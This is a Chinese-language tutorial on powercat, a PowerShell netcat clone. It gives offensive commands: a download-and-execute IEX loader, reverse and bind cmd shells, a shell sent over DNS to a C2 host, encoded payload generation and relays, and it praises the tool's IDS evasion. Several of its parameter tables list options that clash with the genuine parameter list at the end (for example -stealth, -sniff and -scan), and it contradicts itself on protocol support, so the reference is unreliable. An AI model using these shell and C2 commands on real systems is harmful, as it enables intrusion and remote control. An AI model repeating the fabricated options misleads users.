powercat 是一个 PowerShell 脚本工具,用于建立基于 TCP 的网络连接,类似于传统的 netcat 工具。它的功能非常强大,可以用于调试、端口扫描、反向 shell 等多种网络任务。下面是 powercat 命令常用参数的分类表格:
GitHub - secabstraction/PowerCat: A PowerShell TCP/IP swiss army knife.
GitHub - besimorhino/powercat: netshell features all in version 2 powershell
Netcat 和 PowerCat 的对比表格,突出它们的主要区别和特点:
特性 | Netcat | PowerCat |
---|---|---|
平台支持 | 主要用于 Linux、Unix 系统,也支持 Windows 版本 | 专为 Windows 平台设计,基于 PowerShell 实现 |
语言/技术栈 | 用 C 语言编写 | 用 PowerShell 编写,依赖 .NET Framework |
协议支持 | 主要支持 TCP 和 UDP 协议 | 主要支持 TCP 协议,支持 UDP |
功能 | 端口扫描、反向连接、监听、数据传输、简单的文件传输 | 端口扫描、反向连接、监听、数据传输、文件传输 |
反向连接 | 支持 | 支持 |
监听模式 | 支持 | 支持 |
文件传输 | 支持简单的文件传输,通常通过管道或重定向 | 支持文件传输,通过TCP连接传输文件 |
加密和压缩 | 不提供内建的加密或压缩功能 | 可通过外部脚本或工具实现加密和压缩 |
依赖环境 | 不依赖其他工具或语言,直接可用 | 需要安装 PowerShell,依赖 .NET Framework |
使用复杂性 | 简单的命令行工具,使用起来很直接 | 基于 PowerShell,命令行参数稍显复杂 |
隐蔽性 | 相对较容易被 IDS/IPS 检测,尤其是在无加密时 | 可通过 PowerShell 脚本进行加密、压缩,隐蔽性较好 |
端口扫描 | 支持端口扫描功能 | 支持端口扫描功能 |
操作系统兼容性 | 支持多平台,主要用于类 Unix 系统(Linux、macOS) | 仅支持 Windows 系统(基于 PowerShell) |
多重连接支持 | 支持多连接,适用于同时处理多个连接的场景 | 支持多连接,适用于同时处理多个连接的场景 |
外部依赖 | 不依赖任何外部工具,纯命令行工具 | 依赖 PowerShell 环境 |
开发/更新情况 | Netcat 是一个经典工具,已经不再更新 | PowerCat 是一个相对较新的工具,活跃更新 |
使用场景 | 渗透测试、网络调试、攻击/防御演练等 | 渗透测试、网络调试、Windows 平台下的攻击/防御演练 |
主要区别总结:
-
平台支持:Netcat 在多平台上支持良好,特别是 Unix/Linux 系统,而 PowerCat 仅适用于 Windows 系统,并且需要 PowerShell 环境。
-
技术栈和语言:Netcat 是用 C 语言编写的独立命令行工具,比较轻量;而 PowerCat 基于 PowerShell 和 .NET 实现,依赖于 Windows 环境中的 PowerShell。
-
协议支持:Netcat 支持 TCP 和 UDP 协议,非常适合需要 UDP 支持的网络操作;而 PowerCat 目前仅支持 TCP 协议。
-
隐蔽性和加密:PowerCat 相对更具隐蔽性,可以通过 PowerShell 实现加密和压缩来增强隐蔽性。Netcat 没有内建加密功能,容易被 IDS/IPS 系统检测。
-
功能和复杂性:两者功能上较为接近,支持端口扫描、反向连接、监听、文件传输等。Netcat 操作简单直接,适用于各种场景,而 PowerCat 利用 PowerShell 的强大功能,可以灵活定制脚本,但使用复杂性稍高。
总体来说,Netcat 是跨平台、轻量的经典网络工具,适用于大部分 UNIX/Linux 系统;而 PowerCat 主要面向 Windows 系统,并借助 PowerShell 提供了更多灵活的功能和更强的隐蔽性。
Powercat是什么?
Powercat 是一个基于 PowerShell 的工具,设计目标是简化和增强网络通信功能,尤其在渗透测试和网络分析中非常有用。它的功能包括但不限于:
- 端口扫描
- 反向连接与监听
- 文件传输
- 数据加密与压缩
- 支持代理连接
- 启用反向 shell 和绑定 shell
Powercat 的本质上是一个 多用途的网络工具,可以用来创建 TCP/UDP 连接、进行数据传输、提供远程控制等。
Powercat 怎么样?
Powercat 是非常轻量且易于使用的工具,能够帮助网络安全专家、渗透测试人员、红队成员等在不同的操作环境中执行多种任务。其使用 PowerShell 脚本的特性使它在 Windows 系统中非常方便,不需要依赖其他额外的第三方应用程序。相比传统的 Netcat,Powercat 通过 PowerShell 脚本提供了更多的灵活性。
功能特点:
- 反向连接:能够将目标系统的连接反向发起到攻击者的机器,这对于绕过防火墙和 NAT 非常有用。
- 端口扫描与服务探测:可以扫描目标主机的开放端口,帮助渗透测试人员评估系统的潜在漏洞。
- 文件传输:支持在系统间传输文件,便于获取或上传敏感数据。
- 隐蔽性增强:提供加密传输、代理支持、隐蔽模式等功能,减少被防火墙、IDS/IPS 系统检测到的风险。
- 简单易用:基于 PowerShell,使得命令执行和脚本化操作变得更为简洁和强大。
Powercat 为什么有用?
Powercat 的有用性体现在它能够填补 Windows 环境中某些工具的空白,特别是在执行网络渗透测试、建立反向 shell、端口扫描、文件传输等场景时,它的 便捷性 和 灵活性 显得尤为突出。
以下是 Powercat 的几个重要用途:
-
渗透测试和反向连接:
- Powercat 允许渗透测试人员通过反向连接获取目标计算机的控制,尤其是在目标计算机位于防火墙或 NAT 后面时非常有用。
- 通过
-r <host>:<port>
参数,可以快速建立反向连接。
-
数据传输和文件共享:
- Powercat 还可以用于文件传输,方便将工具或数据从本地系统上传到目标系统,或者将目标系统中的数据下载到攻击者机器上。
- 使用
-file <path>
可以方便地上传或下载文件。
-
端口扫描与漏洞检测:
- 它的端口扫描功能可以帮助用户快速了解目标系统上开放的端口,从而为进一步的攻击计划提供信息。
-
绕过防火墙和代理支持:
- Powercat 允许用户通过指定代理连接或使用加密、压缩等方式来隐藏通信流量,避开监控系统的检测。
-
远程控制与命令执行:
- Powercat 支持通过反向 shell 和 bind shell 执行远程命令,有助于控制受害机器并执行攻击操作。
为什么使用 Powercat?
-
轻量且高效:
- Powercat 是 PowerShell 脚本,不需要安装额外的工具,可以快速运行并执行任务。特别是在 Windows 环境中,使用 PowerShell 本身就能提供更高的集成性和兼容性。
-
强大的功能:
- 提供了包括端口扫描、反向连接、数据加密等多种功能。对于需要进行渗透测试或快速进行远程操作的用户来说,Powercat 是一个非常方便的工具。
-
Windows 本地支持:
- 由于 Powercat 是基于 PowerShell 构建的,它几乎在所有 Windows 系统上都可以使用,这使得它在 Windows 环境中的使用非常方便,特别是当目标系统是 Windows 操作系统时。
-
隐蔽性与安全性:
- 支持多种隐蔽模式(如加密、代理、压缩等),增强了其在进行渗透测试时的隐蔽性。防止被目标系统的防火墙、IDS/IPS 系统检测到。
Powercat 是一个非常有用的网络工具,专门为 Windows 系统环境下的网络攻击和渗透测试设计。它结合了简洁的 PowerShell 脚本和强大的网络通信功能,可以广泛应用于远程连接、端口扫描、文件传输等多种场景。由于其轻量、易用、强大且支持高隐蔽性,Powercat 已成为网络安全专家和渗透测试人员常用的工具之一。
Powercat 是一个基于 PowerShell 的网络工具,它模仿了经典的 Netcat 工具,提供了类似的功能,但在 Windows 环境中具有更好的兼容性和灵活性。为了理解 Powercat 的底层原理,我们需要从几个核心概念入手:网络编程原理、PowerShell 的使用、反向连接、端口扫描、以及 数据传输 等方面。
1. Powercat的底层原理
Powercat 使用 PowerShell 内建的网络功能来实现各种操作。以下是 Powercat 实现的主要功能和底层原理:
1.1. 网络通信与TCP/UDP连接
Powercat 实现了类似于 Netcat 的功能,核心是通过 Windows 下的 PowerShell 网络库进行 TCP 和 UDP 连接的建立。它依赖于 System.Net.Sockets.TcpClient
和 System.Net.Sockets.TcpListener
等类来实现与目标主机的连接和数据传输。
- TcpClient 用于发起到远程主机的连接(用于客户端行为)。
- TcpListener 用于监听端口并等待接入的连接(用于服务器行为)。
1.2. 监听与反向连接
Powercat 提供了监听模式和反向连接模式。
-
监听模式:Powercat 可以通过
TcpListener
在指定端口上监听传入的连接请求。其他主机可以通过指定目标主机 IP 和端口,向 Powercat 发送数据或请求连接。 -
反向连接模式:当 Powercat 在目标系统上运行时,它可以通过创建一个到攻击者机器的 TCP 连接,向攻击者机器发起连接请求。这对于绕过防火墙和 NAT 非常有用。
1.3. 端口扫描
Powercat 可以通过循环尝试不同的端口来扫描目标主机是否开放某个端口。这利用了 PowerShell 的 System.Net.Sockets.TcpClient
来进行连接尝试,如果连接成功,则表明目标主机上该端口开放。
原理上,它类似于传统的端口扫描工具(如 Nmap),通过检测目标端口的响应来确定端口的状态。
1.4. 数据传输与文件传输
Powercat 的数据传输功能基于 PowerShell 的 流操作,如 StreamWriter
和 StreamReader
,来处理通过 TCP 连接传输的数据。这些流可以在连接建立后持续地接收和发送数据。
对于 文件传输,Powercat 可以通过 TCP 连接发送和接收文件数据块。这些文件通常会被分割成多个小数据包,然后通过网络传输,并在接收端重组为完整文件。
2. PowerShell 中的核心网络操作
Powercat 的底层依赖 PowerShell 的一些基础网络操作,以下是一些主要的 PowerShell 功能和类:
2.1. 使用 TcpListener 监听端口
$listener = New-Object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Any, 9999)
$listener.Start()
$client = $listener.AcceptTcpClient()
这段代码展示了如何在指定端口上监听 TCP 连接。当 Powercat 在目标主机上运行时,它会在指定端口(如 9999)启动一个 TCP 监听器,等待传入连接。
2.2. 建立连接
$tcpClient = New-Object System.Net.Sockets.TcpClient
$tcpClient.Connect("attacker_host", 9999)
这段代码展示了如何从 Powercat 客户端向攻击者主机的指定端口建立 TCP 连接。连接成功后,Powercat 可以通过该连接进行数据交换。
2.3. 数据读取和写入
Powercat 使用 NetworkStream
来在客户端和服务器之间进行数据交换:
$stream = $tcpClient.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
通过 StreamReader
和 StreamWriter
,Powercat 可以读取和写入通过网络连接传输的字节流。
3. Powercat 的关键命令和功能
Powercat 支持许多命令行选项,这些选项控制其行为,包括监听端口、反向连接、文件传输等。以下是几个常用的功能及其底层实现原理:
3.1. 反向连接
Powercat.exe -c <attacker_ip> -p <attacker_port> -e cmd.exe
在这种模式下,Powercat 在目标机器上执行,并通过 TCP 连接向攻击者的 IP 和端口发送请求,建立反向连接并执行命令。
底层原理:这基于 TcpClient
发起的反向连接,攻击者主机通过 TcpListener
接受连接后,可以对目标机器执行命令。
3.2. 监听模式
Powercat.exe -l -p <port> -e cmd.exe
此模式下,Powercat 在本地机器上启动监听,等待其他机器连接。一旦有连接到来,它将启动一个 shell(如 cmd.exe
)并通过网络流向客户端。
底层原理:监听端口时,Powercat 使用 TcpListener
,一旦建立连接,数据会通过网络流进行传输。
3.3. 端口扫描
Powercat.exe -t <target_ip> -p <port_range>
Powercat 使用 TcpClient
逐个端口尝试连接目标主机,查看哪些端口是开放的。它通过捕获连接错误来确定端口状态。
3.4. 文件传输
Powercat.exe -c <target_ip> -p <port> -f <file_path>
Powercat 支持文件传输功能,数据通过网络连接进行传输。它将文件分割成小块,然后逐步通过 TCP 连接发送到目标系统。
4. 数据加密与隐蔽
在一些情况下,Powercat 还可以通过加密和压缩来提高隐蔽性,防止流量被防火墙和 IDS/IPS 系统检测。为了提高隐蔽性,Powercat 可以通过以下几种方式处理数据:
- 加密:通过加密数据流,使其无法被轻易识别。
- 代理:支持通过代理进行通信,增加隐蔽性。
- 压缩:在发送数据之前进行压缩,减小流量并减少被检测到的机会。
Powercat 的底层原理基于 PowerShell 的网络编程功能,利用 TcpClient
、TcpListener
等类来建立和监听 TCP 连接,同时通过 StreamReader
和 StreamWriter
进行数据交换。它支持反向连接、端口扫描、文件传输等功能,适用于渗透测试和红队攻击活动。在其实现中,Powercat 充分利用了 PowerShell 的简洁性和灵活性,结合了一些常见的网络通信原理,实现了类似于 Netcat 的网络工具,且具有更强的隐蔽性和兼容性。
PowerCat 命令行参数按功能分类的表格:
功能分类 | 选项 | 描述 |
---|---|---|
连接与监听 | -l |
监听连接 (Listen for a connection) |
-c |
连接到监听器 (Connect to a listener) | |
-p |
连接或监听的端口 (The port to connect to, or listen on) | |
执行命令 | -e |
执行命令 (Execute. Warning: GAPING_SECURITY_HOLE) |
-ep |
执行 PowerShell 脚本 (Execute Powershell) | |
数据传输 | -r |
中继数据 (Relay data. Format: "-r tcp:10.1.1.1:443") |
-u |
通过 UDP 传输数据 (Transfer data over UDP) | |
-dns |
通过 DNS 传输数据 (Transfer data over DNS - dnscat2) | |
超时与限制 | -dnsft |
DNS 失败阈值 (DNS Failure Threshold) |
-t |
超时设置 (Timeout option, Default: 60 seconds) | |
输入与输出 | -i |
输入文件路径、字节数组或字符串 (Input: Filepath, byte array, or string) |
-o |
控制台输出类型 (Console Output Type: "Host", "Bytes", or "String") | |
-of |
输出文件路径 (Output File Path) | |
连接管理 | -d |
连接后断开 (Disconnect after connecting) |
-rep |
重复连接 (Repeater: Restart after disconnecting) | |
有效载荷生成 | -g |
生成有效载荷 (Generate Payload) |
-ge |
生成编码后的有效载荷 (Generate Encoded Payload) | |
帮助与文档 | -h |
打印帮助信息 (Print the help message) |
主要功能分类:
- 连接与监听:用于控制监听端口、连接到监听器的功能。
- 执行命令:用于执行系统命令或 PowerShell 脚本(注意安全隐患)。
- 数据传输:支持不同协议的传输(TCP、UDP、DNS等)。
- 超时与限制:设置连接的超时和 DNS 传输的失败阈值。
- 输入与输出:控制数据输入来源与输出格式(文件或控制台)。
- 连接管理:处理连接的断开和重连操作。
- 有效载荷生成:用于生成有效载荷,包括普通和编码后的。
- 帮助与文档:显示帮助信息,提供使用指导。
PowerCat 的命令行参数按功能分类的表格:
功能分类 | 命令 | 选项 | 描述 |
---|---|---|---|
启动监听器/服务器 | Start-PowerCat |
-Mode |
设置模式,默认是 TCP,可以指定 UDP 或 SMB。 |
-Port |
设置监听端口。 | ||
-PipeName |
设置监听的管道名称。 | ||
-SslCn |
设置 SSL 加密的 TCP 使用的通用名称。 | ||
-Relay |
格式:<Mode>:<Port/PipeName> ,设置数据转发。 |
||
-Execute |
执行控制台进程或 PowerShell 脚本。 | ||
-SendFile |
设置要发送的文件路径。 | ||
-ReceiveFile |
设置接收文件保存路径。 | ||
-Disconnect |
连接后断开。 | ||
-KeepAlive |
连接断开后重启。 | ||
-Timeout |
设置超时选项,默认 60 秒。 | ||
连接客户端 | Connect-PowerCat |
-Mode |
设置模式,默认是 TCP,可以指定 UDP 或 SMB。 |
-RemoteIp |
设置要连接的远程 IPv4 地址。 | ||
-Port |
设置连接的端口。 | ||
-PipeName |
设置连接的管道名称。 | ||
-SslCn |
设置 SSL 加密的 TCP 使用的通用名称。 | ||
-Relay |
格式:<Mode>:<IP>:<Port/PipeName> ,设置数据转发。 |
||
-Execute |
执行控制台进程或 PowerShell 脚本。 | ||
-SendFile |
设置要发送的文件路径。 | ||
-ReceiveFile |
设置接收文件保存路径。 | ||
-Disconnect |
连接后断开。 | ||
-Timeout |
设置超时选项,默认 60 秒。 |
主要功能分类:
- 启动监听器/服务器:配置和启动一个监听器或服务器,等待客户端连接。
- 连接客户端:连接到远程服务器或监听器,作为客户端进行通信。
- 文件传输:通过指定
-SendFile
和-ReceiveFile
选项,支持文件的发送和接收。 - 执行命令:通过
-Execute
选项,支持在连接的设备上执行控制台命令或 PowerShell 脚本。 - 超时与连接管理:设置连接的超时选项,管理连接的断开与重启(
-Disconnect
,-KeepAlive
)。 - 加密与安全:通过
-SslCn
选项,可以启用 SSL 加密(仅适用于 TCP 模式)。 - 数据转发:通过
-Relay
选项,可以设置数据转发功能,用于中继连接。
powercat
是一个 PowerShell 脚本工具,用于建立基于 TCP 的网络连接,类似于传统的 netcat
工具。它的功能非常强大,可以用于调试、端口扫描、反向 shell 等多种网络任务。下面是 powercat
命令常用参数的分类表格:
功能类别 | 命令参数 | 描述 |
---|---|---|
基本连接 | -l |
启动监听模式,等待连接。 |
-c <host>:<port> |
连接到指定的主机和端口。 | |
端口扫描 | -p <port> |
指定端口号,用于扫描时确定目标端口。 |
-scan |
执行端口扫描,扫描指定主机的端口。 | |
反向连接 | -e <cmd> |
启动一个命令行(通常用于反向 shell)并将其传输至目标主机。 |
-r <host>:<port> |
启动反向连接到指定的主机和端口。 | |
文件传输 | -file <path> |
传输文件到远程系统,或从远程系统接收文件。 |
加密与压缩 | -enc |
启用加密模式。 |
-zip |
启用压缩模式,传输数据时对数据进行压缩。 | |
调试与日志 | -v |
启用详细的调试模式,显示更多信息。 |
-debug |
显示调试信息,帮助诊断命令的执行情况。 | |
代理支持 | -proxy <host>:<port> |
配置通过代理服务器进行连接。 |
持久化连接 | -t <seconds> |
设置连接超时时间,单位为秒。 |
连接模式 | -u |
使用 UDP 协议进行通信,而非默认的 TCP 协议。 |
附加功能 | -h |
显示帮助信息。 |
-i |
设置连接的输入超时时间。 | |
-o <file> |
将输出重定向到指定的文件。 |
说明:
powercat
的基本功能包括建立 TCP/UDP 连接、监听端口、发送/接收文件、执行命令等。- 参数如
-c
,-l
,-r
等代表了其客户端、服务器模式或者反向连接模式。 -scan
,-p
,-proxy
等用于执行端口扫描、代理配置等高级功能。
需要注意的是,powercat
是一款功能强大的网络工具,常用于渗透测试和调试,适合有网络安全相关背景的用户使用。
powercat
命令的高级功能分类及其参数的表格化展示:
功能类别 | 命令参数 | 描述 |
---|---|---|
端口扫描与扫描 | -scan |
执行端口扫描,扫描目标主机的开放端口。 |
-p <port> |
扫描指定端口,检查目标主机上的端口是否开放。 | |
反向连接与监听 | -r <host>:<port> |
启动反向连接,连接到指定的主机和端口。 |
-l |
启动监听模式,等待连接。 | |
-e <cmd> |
启动并执行命令行(常用于反向 shell)。 | |
加密与压缩 | -enc |
启用加密模式,确保数据传输的安全性。 |
-zip |
启用压缩模式,传输数据时对数据进行压缩,减少带宽占用。 | |
代理支持 | -proxy <host>:<port> |
配置代理服务器,通过代理服务器进行连接。 |
文件传输 | -file <path> |
传输指定文件到远程系统,或从远程系统接收文件。 |
连接超时与持久化 | -t <seconds> |
设置连接的超时时间(单位:秒),帮助避免长时间无响应的连接。 |
-i <seconds> |
设置输入超时时间(单位:秒),控制每次输入等待的时间。 | |
连接模式 | -u |
使用 UDP 协议进行连接,而非默认的 TCP 协议。 |
调试与日志功能 | -v |
启用详细调试模式,显示更多执行过程中的信息。 |
-debug |
启用调试模式,帮助诊断命令的执行过程,输出更多调试信息。 | |
输出控制 | -o <file> |
将命令的输出重定向到指定的文件中。 |
帮助与命令信息 | -h |
显示帮助信息,列出所有可用的命令和参数。 |
说明:
- 端口扫描与扫描: 适用于扫描目标主机的开放端口,使用
-scan
和-p
来查看主机的网络服务。 - 反向连接与监听: 包括监听模式和反向连接的启动,常用于渗透测试、远程访问等场景。
- 加密与压缩: 支持数据加密和压缩,在执行高风险操作时提高数据安全性并减少传输数据量。
- 代理支持: 可以通过代理服务器建立连接,这对于绕过防火墙或隐匿身份非常有用。
- 文件传输: 支持在网络连接之间传输文件。
- 连接超时与持久化: 控制连接的持续时间和响应超时,帮助优化网络操作。
- 调试与日志功能: 提供调试和详细日志输出功能,便于监控和排查错误。
- 输出控制: 可以将执行结果输出到文件,以便后续查看或保存日志。
Powercat 命令的高阶技巧功能分类及其参数的表格化展示,帮助用户更好地理解如何利用 Powercat 进行高级操作和功能使用。
功能类别 | 命令参数 | 描述 |
---|---|---|
反向连接与监听 | -r <host>:<port> |
发起反向连接到指定主机与端口,常用于渗透测试、远程控制。 |
-l |
启动监听模式,等待远程连接。 | |
-e <cmd> |
执行特定命令(通常用于获取远程 shell)。 | |
端口扫描与漏洞检测 | -scan |
执行端口扫描,扫描目标主机的开放端口。 |
-p <port> |
指定扫描端口,检查该端口是否开放。 | |
-s <host> |
扫描指定主机的多个端口,常用于网络映射与漏洞扫描。 | |
加密与压缩 | -enc |
启用数据加密,确保信息传输时的安全性。 |
-zip |
启用数据压缩,减少传输数据的体积,提高效率。 | |
代理支持 | -proxy <host>:<port> |
通过代理服务器连接,绕过防火墙或隐藏来源。 |
文件传输 | -file <path> |
上传或下载文件,支持本地与远程系统间的文件传输。 |
持续连接与重连 | -t <seconds> |
设置连接超时时间,防止连接断开。 |
-i <seconds> |
设置输入超时时间,控制每次输入的等待时间。 | |
-reconnect |
在连接断开后自动尝试重连,适用于不稳定网络环境。 | |
UDP支持 | -u |
使用 UDP 协议建立连接,适用于实时数据传输。 |
隐蔽性与防检测 | -stealth |
启用隐蔽模式,减少命令行工具的检测痕迹。 |
命令输出控制 | -v |
启用详细模式,输出更多调试信息。 |
-o <file> |
将执行结果输出到指定文件中,支持重定向日志或错误信息。 | |
-debug |
启用调试模式,输出详细的执行过程和数据传输信息,帮助排查错误或分析网络行为。 | |
连接模式 | -tcp |
强制使用 TCP 协议进行连接(默认)。 |
多平台兼容性 | -os <os_type> |
指定目标操作系统类型(例如 Windows 或 Linux),以确保命令兼容。 |
反向 Shell 与命令执行 | -reverse |
启动反向 shell,可以连接到目标并执行任意命令。 |
-bind |
启动绑定 shell,在目标主机上开启监听,等待外部连接。 | |
网络工具 | -nc |
启动 Netcat 模式,用于创建和测试 TCP 或 UDP 连接,类似于传统的 nc 命令。 |
日志与监控 | -log |
启用日志记录,将连接信息或命令执行记录存储到文件中,方便事后分析。 |
网络嗅探与监控 | -sniff |
启动数据包嗅探模式,监控传输的网络流量,捕获指定的包或流量。 |
用户交互与自动化 | -auto |
自动化执行预设命令,省略人工输入,适合批量操作或远程任务。 |
资源限制 | -limit |
设置连接的带宽或数据流量限制,以避免网络资源过度占用。 |
高级技巧与应用场景:
- 反向连接与监听:在渗透测试中,反向连接 (
-r
) 用于绕过防火墙或 NAT,反向 shell 和 bind shell (-e
和-bind
) 常用于获取远程目标系统的控制。 - 端口扫描:通过
-scan
和-p
扫描目标主机的端口可以帮助确定开放的服务和潜在的漏洞点。 - 隐蔽性:使用
-stealth
和-enc
加密及隐蔽连接可以减少被检测的风险,适合进行匿名渗透或数据传输。 - 文件传输与持续连接:通过
-file
、-t
、-i
和-reconnect
结合使用,可以在复杂环境中保持稳定的连接并实现文件的高效传输。 - 代理和多平台兼容:通过
-proxy
配置代理服务器,可以在受限制的网络环境中绕过防火墙,-os
确保在不同操作系统上执行命令时的兼容性。
通过这些高级技巧,Powercat 成为渗透测试、远程访问、数据传输和漏洞扫描等任务中不可或缺的工具。
Powercat 是 Netcat 的 PowerShell 版本。支持 Powershell 版本 2 及更高版本。
安装 powercat 是一个 PowerShell 函数。在执行之前,您需要先加载这个函数。您可以将以下命令之一放入您的 PowerShell 配置文件中,这样在 PowerShell 启动时就会自动加载 powercat。
从下载的 .ps1 文件加载函数: . .\powercat.ps1 从 URL 加载函数: IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') 参数: -l 监听连接。 [Switch] -c 连接到监听器。 [String] -p 要连接或监听的端口。 [String] -e 执行。(存在安全漏洞) [String] -ep 执行 PowerShell。 [Switch] -r 中继。格式:"-r tcp:10.1.1.1:443" [String] -u 通过 UDP 传输数据。 [Switch] -dns 通过 DNS 传输数据(dnscat2)。 [String] -dnsft DNS 失败阈值。 [int32] -t 超时选项。默认值:60 [int32] -i 输入:文件路径(字符串)、字节数组或字符串。[object] -o 控制台输出类型:"Host"、"Bytes" 或 "String" [String] -of 输出文件路径。 [String] -d 连接后断开。 [Switch] -rep 重复器。断开连接后重新启动。 [Switch] -g 生成有效载荷。 [Switch] -ge 生成编码的有效载荷。 [Switch] -h 打印帮助信息。 [Switch]
基本连接 默认情况下,powercat 从控制台读取输入,并使用 write-host 将输入写入控制台。您可以使用 -o 将输出类型更改为'Bytes'或'String'。
基本客户端: powercat -c 10.1.1.1 -p 443 基本监听器: powercat -l -p 8000 基本客户端,输出为字节: powercat -c 10.1.1.1 -p 443 -o Bytes
文件传输 可以使用 powercat 使用 -i(输入)和 -of(输出文件)来回传输文件。
发送文件: powercat -c 10.1.1.1 -p 443 -i C:\inputfile 接收文件: powercat -l -p 8000 -of C:\inputfile
Shell powercat 可以用于发送和提供 shell。指定一个可执行文件给 -e,或者使用 -ep 来执行 PowerShell。
提供一个 cmd Shell: powercat -l -p 443 -e cmd 发送一个 cmd Shell: powercat -c 10.1.1.1 -p 443 -e cmd 提供一个执行 PowerShell 命令的 shell: powercat -l -p 443 -ep
DNS 和 UDP powercat 支持不仅可以通过 TCP 发送数据。指定 -u 来启用 UDP 模式。也可以使用 -dns 向 dnscat2 服务器发送数据。运行 dnscat2 服务器时,请确保添加 "-e open --no-cache"。
通过 UDP 发送数据: powercat -c 10.1.1.1 -p 8000 -u powercat -l -p 8000 -u 连接到 c2.example.com dnscat2 服务器,使用位于 10.1.1.1 上的 DNS 服务器: powercat -c 10.1.1.1 -p 53 -dns c2.example.com 向 c2.example.com dnscat2 服务器发送一个 shell,使用 Windows 默认的 DNS 服务器: powercat -dns c2.example.com -e cmd
中继 powercat 中的中继工作方式类似于传统的 netcat 中继,但您无需创建文件或启动第二个进程。还可以在不同协议的连接之间中继数据。
TCP 监听器到 TCP 客户端中继: powercat -l -p 8000 -r tcp:10.1.1.16:443 TCP 监听器到 UDP 客户端中继: powercat -l -p 8000 -r udp:10.1.1.16:53 TCP 监听器到 DNS 客户端中继 powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com 使用 Windows 默认 DNS 服务器的 TCP 监听器到 DNS 客户端中继 powercat -l -p 8000 -r dns:::c2.example.com TCP 客户端到客户端中继 powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443 TCP 监听器到监听器中继 powercat -l -p 8000 -r tcp:9000
生成有效载荷 可以使用 -g(生成有效载荷)和 -ge(生成编码有效载荷)生成执行特定操作的有效载荷。编码有效载荷可以使用 powershell -E 执行。如果您不想使用所有 powercat,可以使用这些。
生成一个反向 tcp 负载,连接回 10.1.1.15 端口 443: powercat -c 10.1.1.15 -p 443 -e cmd -g 生成一个绑定 tcp 编码命令,监听端口 8000: powercat -l -p 8000 -e cmd -ge
其他用途 powercat 也可用于执行端口扫描,并启动持久性服务器。
基本 TCP 端口扫描器: (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d} 启动一个服务一个文件的持久服务器: powercat -l -p 443 -i C:\inputfile -rep